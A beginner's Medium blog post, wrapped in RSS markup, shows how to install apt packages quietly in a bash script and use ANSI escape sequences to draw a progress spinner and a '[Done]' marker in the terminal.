            <content:encoded><![CDATA[<p>This is my first Medium story and I thought I’ll start with something quick and fun to add in your bash script. This shouldn’t be too long and difficult but hey I have to start somewhere.</p><p>This is a little trick I used in some script back in college, I was studying computer science and discovering Bash. At that time I did not fully understand how it worked and in this story I’ll try to get to the bottom of it !</p><h4>Basic Package Installation</h4><p>Let’s get a standard script to install some packages on a fresh install of your favourite distro.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fcarbon.now.sh%2Fembed%3Fbg%3Drgba%2528255%252C255%252C255%252C1%2529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%2525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3Dsudo%252520apt-get%252520install%252520cowsay%25250AReading%252520package%252520lists...%252520Done%25250ABuilding%252520dependency%252520tree%25250AReading%252520state%252520information...%252520Done%25250AThe%252520following%252520packages%252520were%252520automatically%252520installed%252520and%252520are%252520no%252520longer%252520required%25253A%25250A%252520%252520distro-info%252520linux-hwe-5.4-headers-5.4.0-48%25250AUse%252520%2527sudo%252520apt%252520autoremove%2527%252520to%252520remove%252520them.%25250ASuggested%252520packages%25253A%25250A%252520%252520filters%252520cowsay-off%25250AThe%252520following%252520NEW%252520packages%252520will%252520be%252520installed%25253A%25250A%252520%252520cowsay%25250A0%252520upgraded%25252C%2525201%252520newly%252520installed%25252C%2525200%252520to%252520remove%252520and%252520252%252520not%252520upgraded.%25250ANeed%252520to%252520get%2525200%252520B%25252F17.7%252520kB%252520of%252520archives.%25250AAfter%252520this%252520operation%25252C%25252089.1%252520kB%252520of%252520additional%252520disk%252520space%252520will%252520be%252520used.%25250ASelecting%252520previously%252520unselected%252520package%252520cowsay.%25250A%2528Reading%252520database%252520...%252520397819%252520files%252520and%252520directories%252520currently%252520installed.%2529%25250APreparing%252520to%252520unpack%252520...%25252Fcowsay_3.03%25252Bdfsg2-4_all.deb%252520...%25250AUnpacking%252520cowsay%252520%25283.03%25252Bdfsg2-4%2529%252520...%25250ASetting%252520up%252520cowsay%252520%25283.03%25252Bdfsg2-4%2529%252520...%25250AProcessing%252520triggers%252520for%252520man-db%252520%25282.8.3-2ubuntu0.1%2529%252520...&amp;display_name=Carbon&amp;url=https%3A%2F%2Fcarbon.now.sh%2F%3Fbg%3Drgba%252528255%25252C255%25252C255%25252C1%252529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%25252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%252525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3Dsudo%25252520apt-get%25252520install%25252520cowsay%2525250AReading%25252520package%25252520lists...%25252520Done%2525250ABuilding%25252520dependency%25252520tree%2525250AReading%25252520state%25252520information...%25252520Done%2525250AThe%25252520following%25252520packages%25252520were%25252520automatically%25252520installed%25252520and%25252520are%25252520no%25252520longer%25252520required%2525253A%2525250A%25252520%25252520distro-info%25252520linux-hwe-5.4-headers-5.4.0-48%2525250AUse%25252520%252527sudo%25252520apt%25252520autoremove%252527%25252520to%25252520remove%25252520them.%2525250ASuggested%25252520packages%2525253A%2525250A%25252520%25252520filters%25252520cowsay-off%2525250AThe%25252520following%25252520NEW%25252520packages%25252520will%25252520be%25252520installed%2525253A%2525250A%25252520%25252520cowsay%2525250A0%25252520upgraded%2525252C%252525201%25252520newly%25252520installed%2525252C%252525200%25252520to%25252520remove%25252520and%25252520252%25252520not%25252520upgraded.%2525250ANeed%25252520to%25252520get%252525200%25252520B%2525252F17.7%25252520kB%25252520of%25252520archives.%2525250AAfter%25252520this%25252520operation%2525252C%2525252089.1%25252520kB%25252520of%25252520additional%25252520disk%25252520space%25252520will%25252520be%25252520used.%2525250ASelecting%25252520previously%25252520unselected%25252520package%25252520cowsay.%2525250A%252528Reading%25252520database%25252520...%25252520397819%25252520files%25252520and%25252520directories%25252520currently%25252520installed.%252529%2525250APreparing%25252520to%25252520unpack%25252520...%2525252Fcowsay_3.03%2525252Bdfsg2-4_all.deb%25252520...%2525250AUnpacking%25252520cowsay%25252520%2525283.03%2525252Bdfsg2-4%252529%25252520...%2525250ASetting%25252520up%25252520cowsay%25252520%2525283.03%2525252Bdfsg2-4%252529%25252520...%2525250AProcessing%25252520triggers%25252520for%25252520man-db%25252520%2525282.8.3-2ubuntu0.1%252529%25252520...&amp;image=https%3A%2F%2Fcarbon.now.sh%2Fstatic%2Fbrand%2Fbanner.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;scroll=auto&amp;schema=carbon" width="1024" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f6bb22e6d04855687dc0bc836424f48c/href">https://medium.com/media/f6bb22e6d04855687dc0bc836424f48c/href</a></iframe><p>It is a bit noisy for a non-interactive bash script. From apt-get man page we know there is a -qq option to have a fully silent and non-interactive way to install packages. -qq implies a -y :</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fcarbon.now.sh%2Fembed%3Fbg%3Drgba%2528255%252C255%252C255%252C1%2529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%2525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3Dapt-get%252520-qq%252520install%252520cowsay%25250ASelecting%252520previously%252520unselected%252520package%252520cowsay.%25250A%2528Reading%252520database%252520...%252520397819%252520files%252520and%252520directories%252520currently%252520installed.%2529%25250APreparing%252520to%252520unpack%252520...%25252Fcowsay_3.03%25252Bdfsg2-4_all.deb%252520...%25250AUnpacking%252520cowsay%252520%25283.03%25252Bdfsg2-4%2529%252520...%25250ASetting%252520up%252520cowsay%252520%25283.03%25252Bdfsg2-4%2529%252520...%25250AProcessing%252520triggers%252520for%252520man-db%252520%25282.8.3-2ubuntu0.1%2529%252520...&amp;display_name=Carbon&amp;url=https%3A%2F%2Fcarbon.now.sh%2F%3Fbg%3Drgba%252528255%25252C255%25252C255%25252C1%252529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%25252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%252525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3Dapt-get%25252520-qq%25252520install%25252520cowsay%2525250ASelecting%25252520previously%25252520unselected%25252520package%25252520cowsay.%2525250A%252528Reading%25252520database%25252520...%25252520397819%25252520files%25252520and%25252520directories%25252520currently%25252520installed.%252529%2525250APreparing%25252520to%25252520unpack%25252520...%2525252Fcowsay_3.03%2525252Bdfsg2-4_all.deb%25252520...%2525250AUnpacking%25252520cowsay%25252520%2525283.03%2525252Bdfsg2-4%252529%25252520...%2525250ASetting%25252520up%25252520cowsay%25252520%2525283.03%2525252Bdfsg2-4%252529%25252520...%2525250AProcessing%25252520triggers%25252520for%25252520man-db%25252520%2525282.8.3-2ubuntu0.1%252529%25252520...&amp;image=https%3A%2F%2Fcarbon.now.sh%2Fstatic%2Fbrand%2Fbanner.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;scroll=auto&amp;schema=carbon" width="1024" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/33a289d2787ea5378900114d4cc074fb/href">https://medium.com/media/33a289d2787ea5378900114d4cc074fb/href</a></iframe><p>Even though we told apt-get to be quiet there are still some unwanted outputs.</p><p>This is because apt-get is calling dpkg during the installation. apt-get only downloads the package and its dependencies, verifies it and then tells dpkg to install it (Full explanation here : <a href="https://askubuntu.com/a/540943">https://askubuntu.com/a/540943</a> )</p><p>So it seems that we need to make dpkgsilent. We could use a good and trusty redirection &gt; /dev/null and we would still have the errors output on our terminal, but I am looking for a cleaner way to do it.</p><p>For some distros (not all sadly) you could use a DPKG option to remove the output :</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fcarbon.now.sh%2Fembed%3Fbg%3Drgba%2528255%252C255%252C255%252C1%2529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%2525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3Dapt-get%252520-qq%252520-o%25253DDpkg%25253A%25253AUse-Pty%25253D0%252520install%252520cowsay&amp;display_name=Carbon&amp;url=https%3A%2F%2Fcarbon.now.sh%2F%3Fbg%3Drgba%252528255%25252C255%25252C255%25252C1%252529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%25252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%252525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3Dapt-get%25252520-qq%25252520-o%2525253DDpkg%2525253A%2525253AUse-Pty%2525253D0%25252520install%25252520cowsay&amp;image=https%3A%2F%2Fcarbon.now.sh%2Fstatic%2Fbrand%2Fbanner.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;scroll=auto&amp;schema=carbon" width="1024" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f5001ae15728d84ce09feb1db8880588/href">https://medium.com/media/f5001ae15728d84ce09feb1db8880588/href</a></iframe><h4>Find a control character</h4><p>Now that we are able to install some packes without any fuss around it let’s start to escape some text to make it more friendly.</p><blockquote>ANSI escape sequences allow you to move the cursor around the screen at will.</blockquote><p>A ANSI escape character is directly supported by your terminal itself and can be used with any programming langage.</p><p>In our case our control character will be Escape . From the ASCII Table we can find a Control Code Chart :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjpd-9yYnaM--6tF1hbiGA.png" /><figcaption>Control Code Chart : <a href="https://en.wikipedia.org/wiki/ASCII">https://en.wikipedia.org/wiki/ASCII</a></figcaption></figure><p>In this chart we can find the different forms for the escape character, to confirm this is a right one we can try on our terminal to press Esc in a stdin :</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fcarbon.now.sh%2Fembed%3Fbg%3Drgba%2528255%252C255%252C255%252C1%2529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%2525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3D%25253E%252520read%25250A%25255E%25255B&amp;display_name=Carbon&amp;url=https%3A%2F%2Fcarbon.now.sh%2F%3Fbg%3Drgba%252528255%25252C255%25252C255%25252C1%252529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%25252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%252525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3D%2525253E%25252520read%2525250A%2525255E%2525255B&amp;image=https%3A%2F%2Fcarbon.now.sh%2Fstatic%2Fbrand%2Fbanner.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;scroll=auto&amp;schema=carbon" width="1024" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cca436034ac64b8614dff1a11b741ccd/href">https://medium.com/media/cca436034ac64b8614dff1a11b741ccd/href</a></iframe><p>^\ is just a representation of ESCAPE and \e is interpreted as an actual ESCAPE character. So we will be using \e or \033 .</p><h4>Cursor movement</h4><p>There are multiples ways to move your cursor around your terminal.</p><p>The four basic movements are the following :</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fcarbon.now.sh%2Fembed%3Fbg%3Drgba%2528255%252C255%252C255%252C1%2529%26t%3Dbase16-light%26wt%3Dnone%26l%3Dapplication%252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%2525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3DESC%25255B%252523A%252509moves%252520cursor%252520up%252520%252523%252520lines%25250AESC%25255B%252523B%252509moves%252520cursor%252520down%252520%252523%252520lines%25250AESC%25255B%252523C%252509moves%252520cursor%252520right%252520%252523%252520columns%25250AESC%25255B%252523D%252509moves%252520cursor%252520left%252520%252523%252520columns&amp;display_name=Carbon&amp;url=https%3A%2F%2Fcarbon.now.sh%2F%3Fbg%3Drgba%252528255%25252C255%25252C255%25252C1%252529%26t%3Dbase16-light%26wt%3Dnone%26l%3Dapplication%25252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%252525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3DESC%2525255B%25252523A%25252509moves%25252520cursor%25252520up%25252520%25252523%25252520lines%2525250AESC%2525255B%25252523B%25252509moves%25252520cursor%25252520down%25252520%25252523%25252520lines%2525250AESC%2525255B%25252523C%25252509moves%25252520cursor%25252520right%25252520%25252523%25252520columns%2525250AESC%2525255B%25252523D%25252509moves%25252520cursor%25252520left%25252520%25252523%25252520columns&amp;image=https%3A%2F%2Fcarbon.now.sh%2Fstatic%2Fbrand%2Fbanner.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;scroll=auto&amp;schema=carbon" width="1024" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d13111c250fcc7f2ac88071c0eecc868/href">https://medium.com/media/d13111c250fcc7f2ac88071c0eecc868/href</a></iframe><p>In our case it would look like :</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fcarbon.now.sh%2Fembed%3Fbg%3Drgba%2528255%252C255%252C255%252C1%2529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%2525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3Decho%252520-n%252520%252522foo%252522%252520%252526%252526%252520echo%252520%252522%25255C033%25255B3Dbar%252522%25250Abar&amp;display_name=Carbon&amp;url=https%3A%2F%2Fcarbon.now.sh%2F%3Fbg%3Drgba%252528255%25252C255%25252C255%25252C1%252529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%25252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%252525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3Decho%25252520-n%25252520%25252522foo%25252522%25252520%25252526%25252526%25252520echo%25252520%25252522%2525255C033%2525255B3Dbar%25252522%2525250Abar&amp;image=https%3A%2F%2Fcarbon.now.sh%2Fstatic%2Fbrand%2Fbanner.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;scroll=auto&amp;schema=carbon" width="1024" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/71690d8e400ff0727fc68002a502c12c/href">https://medium.com/media/71690d8e400ff0727fc68002a502c12c/href</a></iframe><p>The first echo will print foo then we will move our cursor back 3 columns to the left and will print out bar which will replace foo on our terminal.</p><h4>Applying it to a bash script — Finally some fun !</h4><p>We have learned how to do some fully silent package installation and we learn how to move our cursor in our terminal let’s write some Bash !</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fcarbon.now.sh%2Fembed%3Fbg%3Drgba%2528255%252C255%252C255%252C1%2529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%2525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3D%252523%2521%25252Fusr%25252Fbin%25252Fenv%252520bash%25250Aexport%252520DEBIAN_FRONTEND%25253Dnoninteractive%25250Adeclare%252520-a%252520PACKAGES%25250APACKAGES%25253D%2528python3-pip%252520git%252520ansible%2529%25250A%25250Aecho%252520%252522Packages%252520installation%252520%252520%25253A%252522%25250Afor%252520package%252520in%252520%252524%25257BPACKAGES%25255B%252540%25255D%25257D%25250Ado%25250A%252520%252520%252520%252520%252520%252520%252520%252520echo%252520-en%252520%252522%25255Ct%252524%25257Bpackage%25257D%252520%252520%252520%252522%25250A%252520%252520%252520%252520%252520%252520%252520%252520%2528%252520apt-get%252520-qq%252520-o%252520Dpkg%25253A%25253AUse-Pty%25253D0%252520install%252520%252524%25257Bpackage%25257D%252520%2529%252520%252526%25250A%25250A%252520%252520%252520%252520%252520%252520%252520%252520PID%25253D%252524%2521%25250A%25250A%252520%252520%252520%252520%252520%252520%252520%252520while%252520kill%252520-0%252520%252524PID%2525202%25253E%25252Fdev%25252Fnull%25250A%252520%252520%252520%252520%252520%252520%252520%252520do%25250A%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520for%252520i%252520in%252520-%252520%25255C%25255C%252520%25255C%25257C%252520%25255C%25252F%25253Bdo%252520echo%252520-en%252520%252522%25255Ce%25255B1D%252524%25257Bi%25257D%252522%252520%252526%252526%252520sleep%2525200.2%25253Bdone%25250A%252520%252520%252520%252520%252520%252520%252520%252520done%25250A%252520%252520%252520%252520%252520%252520%252520%252520echo%252520-e%252520%252522%25255Ce%25255B2D%25255BDone%25255D%252522%25250Adone&amp;display_name=Carbon&amp;url=https%3A%2F%2Fcarbon.now.sh%2F%3Fbg%3Drgba%252528255%25252C255%25252C255%25252C1%252529%26t%3Dseti%26wt%3Dnone%26l%3Dapplication%25252Fx-sh%26width%3D680%26ds%3Dtrue%26dsyoff%3D20px%26dsblur%3D68px%26wc%3Dtrue%26wa%3Dtrue%26pv%3D56px%26ph%3D56px%26ln%3Dfalse%26fl%3D1%26fm%3DHack%26fs%3D14px%26lh%3D133%252525%26si%3Dfalse%26es%3D2x%26wm%3Dfalse%26code%3D%25252523%252521%2525252Fusr%2525252Fbin%2525252Fenv%25252520bash%2525250Aexport%25252520DEBIAN_FRONTEND%2525253Dnoninteractive%2525250Adeclare%25252520-a%25252520PACKAGES%2525250APACKAGES%2525253D%252528python3-pip%25252520git%25252520ansible%252529%2525250A%2525250Aecho%25252520%25252522Packages%25252520installation%25252520%25252520%2525253A%25252522%2525250Afor%25252520package%25252520in%25252520%25252524%2525257BPACKAGES%2525255B%25252540%2525255D%2525257D%2525250Ado%2525250A%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520echo%25252520-en%25252520%25252522%2525255Ct%25252524%2525257Bpackage%2525257D%25252520%25252520%25252520%25252522%2525250A%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%252528%25252520apt-get%25252520-qq%25252520-o%25252520Dpkg%2525253A%2525253AUse-Pty%2525253D0%25252520install%25252520%25252524%2525257Bpackage%2525257D%25252520%252529%25252520%25252526%2525250A%2525250A%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520PID%2525253D%25252524%252521%2525250A%2525250A%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520while%25252520kill%25252520-0%25252520%25252524PID%252525202%2525253E%2525252Fdev%2525252Fnull%2525250A%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520do%2525250A%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520for%25252520i%25252520in%25252520-%25252520%2525255C%2525255C%25252520%2525255C%2525257C%25252520%2525255C%2525252F%2525253Bdo%25252520echo%25252520-en%25252520%25252522%2525255Ce%2525255B1D%25252524%2525257Bi%2525257D%25252522%25252520%25252526%25252526%25252520sleep%252525200.2%2525253Bdone%2525250A%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520done%2525250A%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520echo%25252520-e%25252520%25252522%2525255Ce%2525255B2D%2525255BDone%2525255D%25252522%2525250Adone&amp;image=https%3A%2F%2Fcarbon.now.sh%2Fstatic%2Fbrand%2Fbanner.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;scroll=auto&amp;schema=carbon" width="1024" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6ff44cfa89e55077e9f299d49bc90daa/href">https://medium.com/media/6ff44cfa89e55077e9f299d49bc90daa/href</a></iframe><p>Your shebang is important but that might be a good topic for another story !</p><p>First let’s see the result of our script :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*Q7_WlBHR1uMd7Lg_sAktZQ.gif" /></figure><p>As you can see we have used our control character Esc as \e .</p><p>First of all, we set up a package list in an array to loop.</p><p>We run the package installation in a background jobs so we can get the PID and run a little spinner while the package is being installed.</p><p>kill -0 is used to check if the process is still alive. -0 checks if you are able to send a signal to the process but it does not send any.</p><p>As for the output, we print the package name with a -n flag to avoid printing a newline after. Then we can run our spinner while resetting the cursor position to erase the previous character.</p><p>The same trick is used to print [Done] when the package is installed.</p><p>The snippet of code is massively flawed as we do not check whether the package is installed correctly or not. But the goal of the story was to use the control character to move our cursor in a terminal.</p><p>There are a lot a movement/colors/graphics available to make your script even cooler. You can check them on this page : <a href="https://gist.github.com/fnky/458719343aabd01cfb17a3a4f7296797">https://gist.github.com/fnky/458719343aabd01cfb17a3a4f7296797</a></p><p>That was my first story on Medium, I hope you liked it and include this little trick in your bash script !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9063f8ef3e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>